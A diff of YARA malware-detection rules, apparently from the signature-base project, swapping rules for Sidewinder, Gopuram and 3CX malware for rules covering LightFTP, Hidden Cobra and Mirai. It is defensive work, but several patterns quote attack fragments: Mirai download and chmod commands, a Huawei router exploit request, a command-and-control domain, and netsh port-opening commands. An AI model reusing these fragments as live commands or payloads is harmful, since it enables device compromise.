-		logic_hash = "5ee7029143c589f26e6c325e163bfac85507c950f09778bd51ec2bdf4d4263fa"
-		score = 75
-		quality = 83
+		reference = "https://github.com/hfiref0x/LightFTP"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/pup_lightftp.yar#L2-L21"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "f29a98a4014fc6c026aef4054bc2bee7bde2e9ad7f26f2368fdf0949f50847bb"
+		score = 50
+		quality = 85
 		tags = "FILE"
-		hash1 = "4a0947dd9148b3d5922651a6221afc510afcb0dfa69d08ee69429c4c75d4c8b4"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "989525f85abef05581ccab673e81df3f5d50be36"
+		hash2 = "5884aeca33429830b39eba6d3ddb00680037faf4"
 
 	strings:
-		$a1 = "DUSER.dll" fullword wide
-		$s1 = "UHJvZ3JhbQ==" fullword wide
-		$s2 = "U3RhcnQ=" fullword wide
-		$s3 = ".tmp           " fullword wide
-		$s4 = "FileRipper" fullword ascii
-		$s5 = "copytight @" fullword wide
+		$s1 = "fftp.cfg" fullword wide
+		$s2 = "220 LightFTP server v1.0 ready" fullword ascii
+		$s3 = "*FTP thread exit*" fullword wide
+		$s4 = "PASS->logon successful" fullword ascii
+		$s5 = "250 Requested file action okay, completed." fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <4KB and $a1 and 3 of ($s*)
+		uint16(0)==0x5a4d and filesize <250KB and 4 of them
 }
-rule SIGNATURE_BASE_APT_MAL_Sidewinder_Implant : FILE
+rule SIGNATURE_BASE_Lightftp_Config : FILE
 {
 	meta:
-		description = "Detects SideWinder final payload"
-		author = "AT&T Alien Labs"
-		id = "3a420c9c-7821-5405-8d4d-6931d0f311ba"
-		date = "2023-12-05"
+		description = "Detects a light FTP server - config file"
+		author = "Florian Roth (Nextron Systems)"
+		id = "02ee1d04-1425-5dfd-9b9a-cd378aeda311"
+		date = "2015-05-14"
 		modified = "2023-12-05"
-		reference = "https://cybersecurity.att.com/blogs/labs-research/a-global-perspective-of-the-sidewinder-apt"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_sidewinder.yar#L24-L50"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "bfad86dbdc04463e7e4cc126fd05fc9107617a7ea1bd3f283c0e0170862bd59b"
+		reference = "https://github.com/hfiref0x/LightFTP"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/pup_lightftp.yar#L23-L41"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "ce9821213538d39775af4a48550eefa3908323c5"
+		logic_hash = "1e8c06dac9a5910816703ed15bef83116d9e2d9e612fda69697170ed98ee5f60"
 		score = 75
 		quality = 85
 		tags = "FILE"
-		hash1 = "c568238dcf1e30d55a398579a4704ddb8196b685"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$code = { 1B 30 05 00 C7 00 00 00 00 00 00 00 02 28 03 00
-               00 06 7D 12 00 00 04 02 02 FE 06 23 00 00 06 73
-               5B 00 00 0A 14 20 88 13 00 00 15 73 5C 00 00 0A
-               7D 13 00 00 04 02 02 FE 06 24 00 00 06 73 5B 00
-               00 0A 14 20 88 13 00 00 15 73 5C 00 00 0A 7D 15
-               00 00 04 02 7B 12 00 00 04 6F 0E 00 00 06 2C 1D
-               02 28 1F 00 00 06 02 7B 12 00 00 04 16 6F 0F 00
-               00 06 02 7B 12 00 00 04 6F 06 00 00 06 02 7B 12
-               00 00 04 6F 10 00 00 06 2C 23 02 28 20 00 00 06
-               02 28 21 00 00 06 02 7B 12 00 00 04 16 }
-		$strings = {
-         2E 00 73 00 69 00 66 00 00 09 2E 00 66 00 6C 00
-         63 00 00 1B 73 00 65 00 6C 00 65 00 63 00 74 00
-         65 00 64 00 46 00 69 00 6C 00 65 00 73
-      }
+		$s2 = "maxusers=" wide
+		$s6 = "[ftpconfig]" fullword wide
+		$s8 = "accs=readonly" fullword wide
+		$s9 = "[anonymous]" fullword wide
+		$s10 = "accs=" fullword wide
+		$s11 = "pswd=" fullword wide
 
 	condition:
-		uint16(0)==0x5A4D and all of them
+		uint16(0)==0xfeff and filesize <1KB and all of them
 }
-rule SIGNATURE_BASE_Typical_Malware_String_Transforms : FILE
+rule SIGNATURE_BASE_APT_Hiddencobra_Enc_PK_Header : HIDDEN_COBRA TYPEFRAME FILE
 {
 	meta:
-		description = "Detects typical strings in a reversed or otherwise modified form"
-		author = "Florian Roth (Nextron Systems)"
-		id = "86f348b5-0564-5d83-bbea-4f4a5f62fd30"
-		date = "2016-07-31"
+		description = "Hidden Cobra - Detects trojan with encrypted header"
+		author = "NCCIC trusted 3rd party - Edit: Tobias Michalski"
+		id = "5d7001b3-162c-5a97-a740-1b8e33d4aa9e"
+		date = "2018-04-12"
 		modified = "2023-12-05"
-		reference = "Internal Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_transformed_strings.yar#L10-L56"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "1d3813e0d20b82ceda56d03589bb944f747dfe931396ed514fb6b36f72f98c26"
-		score = 60
-		quality = 83
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		reference = "https://www.us-cert.gov/ncas/analysis-reports/AR18-165A"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_ar18_165a.yar#L2-L19"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "d0c8345b69e5f421fd93bc239031f2e51a120ae64be1eca0c1fdae2aa55ac42a"
+		score = 75
+		quality = 85
+		tags = "HIDDEN_COBRA, TYPEFRAME, FILE"
+		incident = "10135536"
+		category = "hidden_cobra"
+		family = "TYPEFRAME"
+		hash0 = "3229a6cea658b1b3ca5ca9ad7b40d8d4"
 
 	strings:
-		$e1 = "exe.tsohcvs" fullword ascii
-		$e2 = "exe.ssasl" fullword ascii
-		$e3 = "exe.rerolpxe" fullword ascii
-		$e4 = "exe.erolpxei" fullword ascii
-		$e5 = "exe.23lldnur" fullword ascii
-		$e6 = "exe.dmc" fullword ascii
-		$e7 = "exe.llikksat" fullword ascii
-		$l1 = "lld.23lenreK" fullword ascii
-		$l2 = "lld.ESABLENREK" fullword ascii
-		$l3 = "lld.esabtpyrc" fullword ascii
-		$l4 = "lld.trcvsm" fullword ascii
-		$l5 = "LLD.LLDTN" fullword ascii
-		$i1 = "paeHssecorPteG" fullword ascii
-		$i2 = "sserddAcorPteG" fullword ascii
-		$i3 = "AyrarbiLdaoL" fullword ascii
-		$i4 = "AssecorPetaerC" fullword ascii
-		$r1 = "teSlortnoCtnerruC" fullword ascii
-		$r2 = "nuR\\noisreVtnerruC" fullword ascii
-		$f1 = "\\23metsys\\" ascii
-		$f2 = "\\23metsyS\\" ascii
-		$f3 = "niB.elcyceR$" fullword ascii
-		$f4 = "%tooRmetsyS%" fullword ascii
-		$fp1 = "Application Impact Telemetry Static Analyzer" fullword wide
+		$s0 = { 5f a8 80 c5 a0 87 c7 f0 9e e6 }
+		$s1 = { 95 f1 6e 9c 3f c1 2c 88 a0 5a }
+		$s2 = { ae 1d af 74 c0 f5 e1 02 50 10 }
 
 	condition:
-		( uint16(0)==0x5a4d and 1 of them and not 1 of ($fp*))
+		( uint16(0)==0x5A4D and uint16( uint32(0x3c))==0x4550) and any of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_MAL_Shellcode_Loader_Apr23
+rule SIGNATURE_BASE_APT_Hiddencobra_Import_Obfuscation_2 : HIDDEN_COBRA TYPEFRAME FILE
 {
 	meta:
-		description = "Detects Shellcode loader as seen being used by Gopuram backdoor"
-		author = "X__Junior (Nextron Systems)"
-		id = "363b67d6-9cac-513d-a545-1f256667bab8"
-		date = "2023-04-03"
+		description = "Hidden Cobra - Detects remote access trojan"
+		author = "NCCIC trusted 3rd party - Edit: Tobias Michalski"
+		id = "bc139580-a55b-514f-8a4e-ca1402ce3ad9"
+		date = "2018-04-12"
 		modified = "2023-12-05"
-		reference = "https://securelist.com/gopuram-backdoor-deployed-through-3cx-supply-chain-attack/109344/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_mal_gopuram_apr23.yar#L3-L18"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "e4e423158757c80b5e4e77f6a343323a87798c6697cf6a832aa01a146712b250"
-		score = 80
+		reference = "https://www.us-cert.gov/ncas/analysis-reports/AR18-165A"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_ar18_165a.yar#L21-L41"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "d52fc053afc6b3beb35a6dfd0f9b3714a5bad4e9b0dcfcce7be87d65f0a0c23e"
+		score = 75
 		quality = 85
-		tags = ""
-		hash1 = "6ce5b6b4cdd6290d396465a1624d489c7afd2259a4d69b73c6b0ba0e5ad4e4ad"
-		hash2 = "b56279136d816a11cf4db9fc1b249da04b3fa3aef4ba709b20cdfbe572394812"
+		tags = "HIDDEN_COBRA, TYPEFRAME, FILE"
+		incident = "10135536"
+		category = "hidden_cobra"
+		family = "TYPEFRAME"
+		hash0 = "bfb41bc0c3856aa0a81a5256b7b8da51"
 
 	strings:
-		$op1 = { 41 C1 CB 0D 0F BE 03 48 FF C3 44 03 D8 80 7B ?? 00 75 ?? 41 8D 04 13 3B C6 74 }
-		$op2 = { B9 49 F7 02 78 4C 8B E8 E8 ?? ?? ?? ?? B9 58 A4 53 E5 48 89 44 24 ?? E8 ?? ?? ?? ?? B9 10 E1 8A C3 48 8B F0 E8 ?? ?? ?? ?? B9 AF B1 5C 94 48 89 44 24 ?? E8 }
+		$s0 = {A6 D6 02 EB 4E B2 41 EB C3 EF 1F}
+		$s1 = {B6 DF 01 FD 48 B5 }
+		$s2 = {B6 D5 0E F3 4E B5 }
+		$s3 = {B7 DF 0E EE }
+		$s4 = {B6 DF 03 FC }
+		$s5 = {A7 D3 03 FC }
 
 	condition:
-		all of them
+		( uint16(0)==0x5A4D and uint16( uint32(0x3c))==0x4550) and all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_APT_MAL_Gopuram_Backdoor_Apr23 : FILE
+rule SIGNATURE_BASE_APT_NK_AR18_165A_Hiddencobra_Import_Deob : HIDDEN_COBRA TYPEFRAME FILE
 {
 	meta:
-		description = "Detects Gopuram backdoor"
-		author = "X__Junior (Nextron Systems)"
-		id = "3ae5ddcb-5601-5dca-85dd-0a4772577fae"
-		date = "2023-02-24"
+		description = "Hidden Cobra - Detects installed proxy module as a service"
+		author = "NCCIC trusted 3rd party - Edit: Tobias Michalski"
+		id = "f403d589-be35-57a7-9675-f92657c11acc"
+		date = "2018-04-12"
 		modified = "2023-12-05"
-		reference = "https://securelist.com/gopuram-backdoor-deployed-through-3cx-supply-chain-attack/109344/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_mal_gopuram_apr23.yar#L20-L41"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "aa3dd1f35d27d23eb775410cceae81d5b767dc0f1636aac67f2d2e988a3ed995"
-		score = 80
+		reference = "https://www.us-cert.gov/ncas/analysis-reports/AR18-165A"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_ar18_165a.yar#L43-L60"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "ae769e62fef4a1709c12c9046301aa5d"
+		hash = "e48fe20eblf5a5887f2ac631fed9ed63"
+		logic_hash = "2eff83738ca4f2db8327c1ee2a9539d7ce882a315025a656d391c16079e432cb"
+		score = 75
 		quality = 85
-		tags = "FILE"
-		hash1 = "beb775af5196f30e0ee021790a4978ca7a7ac2a7cf970a5a620ffeb89cc60b2c"
-		hash2 = "97b95b4a5461f950e712b82783930cb2a152ec0288c00a977983ca7788342df7"
+		tags = "HIDDEN_COBRA, TYPEFRAME, FILE"
+		incident = "10135536"
+		category = "hidden_cobra"
+		family = "TYPEFRAME"
 
 	strings:
-		$x1 = "%s\\config\\TxR\\%s.TxR.0.regtrans-m" ascii
-		$xop = { D1 E8 33 C3 D1 EB A8 01 74 ?? 81 F3 25 A3 87 DE D1 E8 33 C3 D1 EB A8 01 74 ?? 81 F3 25 A3 87 DE D1 E8 33 C3 D1 EB A8 01 74 ?? 81 F3 25 A3 87 DE D1 E8 33 C3 D1 EB A8 01 74 ?? 81 F3 25 A3 87 DE }
-		$opa1 = { 48 89 44 24 ?? 45 33 C9 45 33 C0 33 D2 89 5C 24 ?? 48 89 74 24 ?? 48 89 5C 24 ?? 89 7C 24 ?? FF 15 ?? ?? ?? ?? 85 C0 74 ?? 48 8B 4C 24 ?? 4C 8D 4C 24 ?? 44 8D 43 }
-		$opa2 = { 48 89 B4 24 ?? ?? ?? ?? 44 8D 43 ?? 33 D2 48 89 BC 24 ?? ?? ?? ?? 4C 89 B4 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 4C 24 ?? E8 ?? ?? ?? ?? 48 8B 4C 24 ?? 45 33 C0 33 D2 8B F8 E8 ?? ?? ?? ?? 8D 4F ?? E8 ?? ?? ?? ?? 4C 8B 4C 24 ?? 44 8D 43 ?? 48 8B C8 8B D7 48 8B F0 44 8B F7 E8 ?? ?? ?? ?? 48 8B 4C 24 ?? E8  }
+		$ = { 8a 01 3c 62 7c 0a 3c 79 7f 06 b2 db 2a d0 88 11 8a 41 01 41 84 c0 75 e8}
+		$ = { 8A 08 80 F9 62 7C 0B 80 F9 79 7F 06 82 DB 2A D1 88 10 8A 48 01 40 84 C9 75 E6}
 
 	condition:
-		( uint16(0)==0x5A4D and filesize <2MB and pe.characteristics&pe.DLL and 1 of ($x*)) or all of ($opa*)
+		( uint16(0)==0x5A4D and uint16( uint32(0x3c))==0x4550) and any of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_APT_NK_MAL_DLL_Apr23_1 : FILE
+rule SIGNATURE_BASE_APT_NK_AR18_165A_1 : FILE
 {
 	meta:
-		description = "Detects DLLs loaded by shellcode loader (6ce5b6b4cdd6290d396465a1624d489c7afd2259a4d69b73c6b0ba0e5ad4e4ad) (relation to Lazarus group)"
+		description = "Detects APT malware from AR18-165A report by US CERT"
 		author = "Florian Roth (Nextron Systems)"
-		id = "c2abe266-0c21-51aa-9426-46a4f59df937"
-		date = "2023-04-03"
+		id = "45f5205d-7f69-5646-aef8-f95d139f9720"
+		date = "2018-06-15"
 		modified = "2023-12-05"
-		reference = "https://securelist.com/gopuram-backdoor-deployed-through-3cx-supply-chain-attack/109344/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_mal_gopuram_apr23.yar#L43-L75"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "e0a8f3896c0119ce399e83fe3e565c66144693e84996aa3d01ca1b6315521782"
+		reference = "https://www.us-cert.gov/ncas/analysis-reports/AR18-165A"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_ar18_165a.yar#L62-L76"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "7b87c537c9ff38329a5e1e39d5ad1d6cef724c580f246721443eab603534b29d"
 		score = 75
 		quality = 85
 		tags = "FILE"
-		hash1 = "69dd140f45c3fa3aaa64c69f860cd3c74379dec37c46319d7805a29b637d4dbf"
-		hash3 = "bb1066c1ca53139dc5a2c1743339f4e6360d6fe4f2f3261d24fc28a12f3e2ab9"
-		hash4 = "dca33d6dacac0859ec2f3104485720fe2451e21eb06e676f4860ecc73a41e6f9"
-		hash5 = "fe948451df90df80c8028b969bf89ecbf501401e7879805667c134080976ce2e"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "089e49de61701004a5eff6de65476ed9c7632b6020c2c0f38bb5761bca897359"
 
 	strings:
-		$x1 = "vG2eZ1KOeGd2n5fr" ascii fullword
-		$s1 = "Windows %d(%d)-%s" ascii fullword
-		$s2 = "auth_timestamp: " ascii fullword
-		$s3 = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36" wide fullword
-		$op1 = { b8 c8 00 00 00 83 fb 01 44 0f 47 e8 41 8b c5 48 8b b4 24 e0 18 00 00 4c 8b a4 24 e8 18 00 00 48 8b 8d a0 17 00 00 48 33 cc }
-		$op2 = { 33 d2 46 8d 04 b5 00 00 00 00 66 0f 1f 44 00 00 49 63 c0 41 ff c0 8b 4c 84 70 31 4c 94 40 48 ff c2 }
-		$op3 = { 89 5c 24 50 0f 57 c0 c7 44 24 4c 04 00 00 00 c7 44 24 48 40 00 00 00 0f 11 44 24 60 0f 11 44 24 70 0f 11 45 80 0f 11 45 90 }
+		$s1 = "netsh.exe advfirewall firewall add rule name=\"PortOpenning\" dir=in protocol=tcp localport=%d action=allow enable=yes" fullword wide
+		$s2 = "netsh.exe firewall add portopening TCP %d \"PortOpenning\" enable" fullword wide
 
 	condition:
-		uint16(0)==0x5a4d and filesize <500KB and (1 of ($x*) or 2 of them ) or ($x1 and 1 of ($s*) or 3 of them )
+		uint16(0)==0x5a4d and filesize <2000KB and 1 of them
 }
-import "pe"
+rule SIGNATURE_BASE_Mirai_Botnet_Malware : FILE
+{
+	meta:
+		description = "Detects Mirai Botnet Malware"
+		author = "Florian Roth (Nextron Systems)"
+		id = "a678e9f7-d516-5bdb-962e-b9d39d8a64bb"
+		date = "2016-10-04"
+		modified = "2023-01-27"
+		reference = "Internal Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/crime_mirai.yar#L10-L50"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "384f8377ca05296da1177a8939f526069fbad0bb73769bd282d81ea4d876003c"
+		score = 75
+		quality = 83
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "05c78c3052b390435e53a87e3d31e9fb17f7c76bb4df2814313bca24735ce81c"
+		hash2 = "05c78c3052b390435e53a87e3d31e9fb17f7c76bb4df2814313bca24735ce81c"
+		hash3 = "20683ff7a5fec1237fc09224af40be029b9548c62c693844624089af568c89d4"
+		hash4 = "2efa09c124f277be2199bee58f49fc0ce6c64c0bef30079dfb3d94a6de492a69"
+		hash5 = "420bf9215dfb04e5008c5e522eee9946599e2b323b17f17919cd802ebb012175"
+		hash6 = "62cdc8b7fffbaf5683a466f6503c03e68a15413a90f6afd5a13ba027631460c6"
+		hash7 = "70bb0ec35dd9afcfd52ec4e1d920e7045dc51dca0573cd4c753987c9d79405c0"
+		hash8 = "89570ae59462e6472b6769545a999bde8457e47ae0d385caaa3499ab735b8147"
+		hash9 = "bf0471b37dba7939524a30d7d5afc8fcfb8d4a7c9954343196737e72ea4e2dc4"
+		hash10 = "c61bf95146c68bfbbe01d7695337ed0e93ea759f59f651799f07eecdb339f83f"
+		hash11 = "d9573c3850e2ae35f371dff977fc3e5282a5e67db8e3274fd7818e8273fd5c89"
+		hash12 = "f1100c84abff05e0501e77781160d9815628e7fd2de9e53f5454dbcac7c84ca5"
+		hash13 = "fb713ccf839362bf0fbe01aedd6796f4d74521b133011b408e42c1fd9ab8246b"
+
+	strings:
+		$x1 = "POST /cdn-cgi/" ascii
+		$x2 = "/dev/misc/watchdog" fullword ascii
+		$x3 = "/dev/watchdog" ascii
+		$x5 = ".mdebug.abi32" fullword ascii
+		$s1 = "LCOGQGPTGP" fullword ascii
+		$s2 = "QUKLEKLUKVJOG" fullword ascii
+		$s3 = "CFOKLKQVPCVMP" fullword ascii
+		$s4 = "QWRGPTKQMP" fullword ascii
+		$s5 = "HWCLVGAJ" fullword ascii
+		$s6 = "NKQVGLKLE" fullword ascii
 
-rule SIGNATURE_BASE_APT_UNC4736_NK_MAL_TAXHAUL_3CX_Apr23_1 : FILE
+	condition:
+		uint16(0)==0x457f and filesize <200KB and ((1 of ($x*) and 1 of ($s*)) or 4 of ($s*))
+}
+rule SIGNATURE_BASE_Mirai_1_May17 : FILE
 {
 	meta:
-		description = "Detects TAXHAUL (AKA TxRLoader) malware used in the 3CX compromise by UNC4736"
-		author = "Mandiant"
-		id = "25a80f98-03d6-59e6-84e6-6d847a6c591e"
-		date = "2023-03-04"
+		description = "Detects Mirai Malware"
+		author = "Florian Roth (Nextron Systems)"
+		id = "ac85ee28-a01f-5c3d-a534-0c19a3dc92e7"
+		date = "2017-05-12"
 		modified = "2023-12-05"
-		reference = "https://www.3cx.com/blog/news/mandiant-initial-results/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_mal_gopuram_apr23.yar#L77-L90"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "f67af611d0b3d96e4aaf7b3b5e49c1fb536e61a430b79ac0a0560ef3773ba140"
-		score = 80
+		reference = "Internal Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/crime_mirai.yar#L62-L78"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "6816ab3b455bbde6c4bb43bff162615d7fc24b9d5828faa190600387c38978e1"
+		score = 75
 		quality = 85
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		super_rule = 1
+		hash1 = "172d050cf0d4e4f5407469998857b51261c80209d9fa5a2f5f037f8ca14e85d2"
+		hash2 = "9ba8def84a0bf14f682b3751b8f7a453da2cea47099734a72859028155b2d39c"
+		hash3 = "a393449a5f19109160384b13d60bb40601af2ef5f08839b5223f020f1f83e990"
 
 	strings:
-		$p00_0 = {410f45fe4c8d3d[4]eb??4533f64c8d3d[4]eb??4533f64c8d3d[4]eb}
-		$p00_1 = {4d3926488b01400f94c6ff90[4]41b9[4]eb??8bde4885c074}
+		$s1 = "GET /bins/mirai.x86 HTTP/1.0" fullword ascii
 
 	condition:
-		uint16(0)==0x5A4D and any of them
+		( uint16(0)==0x457f and filesize <5000KB and all of them )
 }
-rule SIGNATURE_BASE_VUL_Tomcat_Catalina_CVE_2020_1938 : FILE
+rule SIGNATURE_BASE_Miari_2_May17 : FILE
 {
 	meta:
-		description = "Detects a possibly active and vulnerable Tomcat configuration that includes an accessible and unprotected AJP connector (you can ignore backup files or files that are not actively used)"
+		description = "Detects Mirai Malware"
 		author = "Florian Roth (Nextron Systems)"
-		id = "d23af7ce-eb5d-50aa-be02-b4bf858641c2"
-		date = "2020-02-28"
+		id = "1c2cc98d-8ca5-5055-8f86-7f85c046ccd9"
+		date = "2017-05-12"
 		modified = "2023-12-05"
-		reference = "https://www.chaitin.cn/en/ghostcat"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/vul_cve_2020_1938.yar#L2-L23"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "902b469c8a31add2254e8d5ade6bc22f1bc0a2b10ea70f3131f0640f2900e667"
-		score = 50
+		reference = "Internal Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/crime_mirai.yar#L80-L99"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "138a7d0c5508f0168f09329e97f00d0aacef17297558338cd88a9dc3ddddfee3"
+		score = 75
 		quality = 85
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		super_rule = 1
+		hash1 = "9ba8def84a0bf14f682b3751b8f7a453da2cea47099734a72859028155b2d39c"
+		hash2 = "a393449a5f19109160384b13d60bb40601af2ef5f08839b5223f020f1f83e990"
 
 	strings:
-		$h1 = "<?xml "
-		$a1 = "<Service name=\"Catalina\">" ascii
-		$v1 = "<Connector port=\"8009\" protocol=\"AJP/1.3\" redirectPort=\"8443\"/>" ascii
-		$fp1 = "<!--<Connector port=\"8009\" protocol=\"AJP/1.3\" redirectPort=\"8443\"" ascii
-		$fp2 = " secret=\"" ascii
-		$fp3 = " requiredSecret=\"" ascii
+		$s1 = "User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.101 Safari/537.36" fullword ascii
+		$s2 = "GET /g.php HTTP/1.1" fullword ascii
+		$s3 = "https://%[^/]/%s" fullword ascii
+		$s4 = "pass\" value=\"[^\"]*\"" fullword ascii
+		$s5 = "jbeupq84v7.2y.net" fullword ascii
 
 	condition:
-		$h1 at 0 and filesize <=300KB and $a1 and $v1 and not 1 of ($fp*)
+		( uint16(0)==0x457f and filesize <5000KB and 2 of them )
 }
-rule SIGNATURE_BASE_Dropper_Deploysmalwareviasideloading
+rule SIGNATURE_BASE_MAL_ELF_LNX_Mirai_Oct10_1 : FILE
 {
 	meta:
-		description = "Detects a dropper used to deploy an implant via side loading. This dropper has specifically been observed deploying REDLEAVES & PlugX"
-		author = "USG"
-		id = "2e7cdedd-2358-5d71-a3ec-73dec442d840"
-		date = "2024-04-17"
-		modified = "2024-04-17"
-		reference = "https://www.us-cert.gov/ncas/alerts/TA17-117A"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_uscert_ta17-1117a.yar#L9-L21"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "51d8a0785bc25cf02460b9b7490ccba3d67806c953e6aa3d3882341ce11857fa"
+		description = "Detects ELF Mirai variant"
+		author = "Florian Roth (Nextron Systems)"
+		id = "7bb28f03-03ba-581a-bc03-bd09a52787d9"
+		date = "2018-10-27"
+		modified = "2023-01-27"
+		reference = "Internal Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/crime_mirai.yar#L101-L122"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "d16ed12522b310fccab027355281a206f5087d555f0d1fef4e7746d01d085613"
 		score = 75
 		quality = 85
-		tags = ""
-		true_positive = "5262cb9791df50fafcb2fbd5f93226050b51efe400c2924eecba97b7ce437481: drops REDLEAVES. 6392e0701a77ea25354b1f40f5b867a35c0142abde785a66b83c9c8d2c14c0c3: drops plugx. "
+		tags = "FILE"
+		hash1 = "3be2d250a3922aa3f784e232ce13135f587ac713b55da72ef844d64a508ddcfe"
 
 	strings:
-		$UniqueString = {2e 6c 6e 6b [0-14] 61 76 70 75 69 2e 65 78 65}
-		$PsuedoRandomStringGenerator = {b9 1a [0-6] f7 f9 46 80 c2 41 88 54 35 8b 83 fe 64}
+		$x1 = " -r /vi/mips.bushido; "
+		$x2 = "/bin/busybox chmod 777 * /tmp/" ascii
+		$s1 = "POST /ctrlt/DeviceUpgrade_1 HTTP/1.1" fullword ascii
+		$s2 = "loadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>" fullword ascii
+		$s3 = "POST /cdn-cgi/" ascii
 
 	condition:
-		any of them
+		uint16(0)==0x457f and filesize <200KB and ((1 of ($x*) and 1 of ($s*)) or all of ($x*))
 }
-rule SIGNATURE_BASE_REDLEAVES_Droppedfile_Implantloader_Starburn
+rule SIGNATURE_BASE_MAL_ELF_LNX_Mirai_Oct10_2 : FILE
 {
 	meta:
-		description = "Detects the DLL responsible for loading and deobfuscating the DAT file containing shellcode and core REDLEAVES RAT"
-		author = "USG"
-		id = "976f42b1-58c9-554b-97e6-130a657507e2"
-		date = "2024-04-17"
